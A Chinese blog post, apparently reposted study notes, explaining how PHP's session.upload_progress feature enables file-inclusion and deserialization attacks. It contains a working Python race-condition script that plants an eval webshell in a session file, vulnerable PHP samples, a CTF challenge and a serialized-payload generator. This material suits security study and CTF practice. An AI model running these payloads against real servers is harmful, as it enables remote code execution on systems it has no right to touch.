session.upload_progress进行文件包含和反序列化学习

目录

前言:

php中的session.upload_progress

session相关配置及session 反序列化。

利用session.upload_progress 进行文件包含利用。

实例代码:

分析:

问题一:

解答一:

问题二:

解答二:

利用条件:

利用session.upload_progress进行反序列化攻击

示例代码

分析:

问题一:

解答一:

利用脚本:


前言:

转载一篇 好文章,写在这里,就当作自己的笔记啦。

利用PHP中的session.upload_progress 功能作为跳板,从而进行文件包含和反序列化。

php中的session.upload_progress

这个功能在php5.4以上能够利用。

在 php.ini 有以下几个默认选项。

 1. session.upload_progress.enabled = on

2. session.upload_progress.cleanup = on

3. session.upload_progress.prefix = "upload_progress_"

4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

5. session.upload_progress.freq = "1%"

6. session.upload_progress.min_freq = "1"

只需要了解前四个配置:

enabled=on 表示 upload_progress 功能开始,意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间)储存在session 中;

cleanup= on 表示当文件上传结束后,php 将会立刻清空文件当中的内容。这选项很重要。

 name当他出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

prefix + name 将表示为 session 中的键名 。

session相关配置及session 反序列化。

------

PHP中SESSION反序列化机制 | Spoock

另外  session配置中还有一个重要选项。

session.user_strict_mode = off 这个选项默认为off , 表示我们对 Cookie 中 sessionid 可控。这一点相关重要。

利用session.upload_progress 进行文件包含利用。

环境:

php 7.3

win10

实例代码:

<?php
$b=$_GET['file'];
include "$b";
?>

存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件,我们可以利用session.upload_progress将 恶意语句写入 session文件,从而包含session 文件。前提是要知道session 文件的存放位置。

分析:

问题一:

代码里 没有session_start(),如何创建 session文件?

解答一:

其实,如果 session.auto_start=On,则php 在接收请求的时候会自动初始化session,不需要再执行session_start()。但默认情况下,这个选项是关闭的。

但session还有一个默认选项,session.user_strict_mode(严格会话模式)默认值为0(关闭),此时用户是可以定义自己的 session ID 的。比如,我们在Cookie 中设置 PHPsessid = snowy 那么php将会在服务器创建一个文件:/tmp/sess_snowy .   即使用户没有初始化session,php也会自动初始化session 并产生一个键值,这个键值有 ini.get("session.upload_progress.prefix") + 由我们构造的seesion.upload_progress值组成,最后被写入sess_文件里。

问题二:

如果默认配置 session.upload_progress.cleanup = on 启用了文件上传后,session 文件内容立刻清空,  该 如何 RCE呢?

解答二:

此时可以使用条件竞争,在session 文件内容清空前进行包含利用:

脚本:

#coding=utf-8
​
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in xrange(1,30): 
            threading.Thread(target=write,args=(session,)).start()
​
        for i in xrange(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

本地测试一下。

 直接给我环境跑炸了,,,,

CTF题目

<html>
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    $payload = $_GET["payload"];
    if(!isset($file)){
        echo 'Missing parameter'.'<br>';
    }
    if(preg_match("/flag/",$file)){
        die('hack attacked!!!');
    }
    @include($file);
    if(isset($payload)){
        $url = parse_url($_SERVER['REQUEST_URI']);
        parse_str($url['query'],$query);
        foreach($query as $value){
            if (preg_match("/flag/",$value)) {
                die('stop hacking!');
                exit();
            }
        }
        $payload = unserialize($payload);
    }else{
       echo "Missing parameters";
    }
    ?>
    <!--Please test index.php?file=xxx.php -->
    <!--Please get the source of hint.php-->
    </html>

在代码前几行可以看到,场景和前面的示例代码类似,只不过对变量$file加了过滤,不过没什么影响。

利用思路一样,这里就不再说了,网上也有相应的解法。

利用条件:

1. 存在文件包含漏洞

2. 知道session文件存放路径,可以尝试默认路径

3. 具有读取和写入session文件的权限

利用session.upload_progress进行反序列化攻击

示例代码

<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
    public $handle;
​
    function __construct() {
        $this->handle=new TimeNow();
    }
​
    function __destruct() {
        $this->handle->action();
    }
}
class TimeNow {
    function action() {
        echo "你的访问时间:"."  ".date('Y-m-d H:i:s',time());
    }
}
class  IP{
    public $ip;
    function __construct() {
        $this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
    }
    function action() {
        eval($this->ip);
    }
}
?>

分析:

问题一:

整个代码没有参数可控的地方,该通过什么方法来进行反序列化利用呢?

解答一:

这里,利用PHP_SESSION_UPLOAD_PROGRESS 上传文件,其中利用文件名可控,从而构造恶意序列化语句,写入session文件。

另外,与文件包含利用一样,需要竞争

利用脚本:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class Door{
    public $handle;
​
    function __construct() {
        $this->handle = new IP();
    }
​
    function __destruct() {
        $this->handle->action();
    }
}
class TimeNow {
    function action() {
        echo "你的访问时间:"."  ".date('Y-m-d H:i:s',time());
    }
}
​
class  IP{
    public $ip;
    function __construct() {
        //$this->ip='payload';
        $this->ip='phpinfo();';
        //$this->ip='print_r(scandir('/'));';
    }
    function action() {
        eval($this->ip);
    }
}
$a=new Door();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:4:","|O:4:",$c);
echo $d;
?>

这里 不细说了 想要了解的 看下这篇文章:

PHP中SESSION反序列化机制 | Spoock

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值